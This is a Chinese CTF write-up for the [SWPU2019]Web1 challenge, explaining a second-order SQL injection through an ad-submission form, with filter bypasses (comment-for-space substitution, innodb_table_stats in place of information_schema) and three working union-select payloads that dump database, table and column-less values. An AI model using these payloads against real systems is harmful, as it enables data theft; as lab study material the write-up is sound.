zoukankan      html  css  js  c++  java
  • [SWPU2019]Web1

    [SWPU2019]Web1

    这道题是个二次注入,做之前感觉挺难得,做完发现也就那么点东西。

    没错,还是参考了王叹之大佬的博客,神!

    来发广告

    在这里插入图片描述
    首先以为是弱口令登录admin,试了一波BP爆破,无果。

    然后是SQLmap,无果。

    然后······是我瞎了我没看到注册······

    注册登录以后是一个打广告的界面:
    在这里插入图片描述
    好像唯一的入口就是这个申请发布广告,看看咋回事。

    发现注入点

    在这里插入图片描述
    在这里插入图片描述
    点击广告详情来到了这个网页:
    在这里插入图片描述
    ?id=38盲猜是注入?猜测这里提取内容的语句是

    select * from xxx where name=广告名

    那么,好像存在注入点,毕竟我们输入的内容可控。

    试试看构造

    1' order by 1#
    

    在这里插入图片描述

    在这里插入图片描述
    一番测试以后,发现过滤了or,#,--+和空格

    ByPass

    • 空格被过滤
      空格过滤可以利用/**/代替空格

    • 注释符被过滤
      将后面的单引号闭合即可

    • or被过滤
      这就很难受了,order byinformation_schema都不能用。
      于是查表名使用select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
      跳过爆字段名直接爆值,参考这个

    Payload

    • 首先爆数据库,试了一下有22个字段:
    1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
    

    在这里插入图片描述
    在这里插入图片描述
    懂了,库名是web1

    • 然后是爆表名:
    1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
    

    在这里插入图片描述
    在这里插入图片描述
    懂了,表名是users

    • 无字段名爆值
    1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
    

    在这里插入图片描述
    在这里插入图片描述
    学到了学到了,特以此博文纪念~

  • 相关阅读:
    质数检测器
    《视觉SLAM十四讲》学习日志(一)——预备知识
    C++类的介绍
    Python数据类型解析(基础篇)
    括号匹配详解
    哈夫曼树编码
    分治之归并,快速排序
    洛谷p2216 多次单调队列,扫描矩阵中的最大值减去最小值最的固定大小子矩阵
    洛谷p1886滑动窗口最大最小值 双单调队列
    洛谷p1725 露琪诺 单调队列优化的DP
  • 原文地址:https://www.cnblogs.com/shenjuxian/p/13904142.html
Copyright © 2011-2022 走看看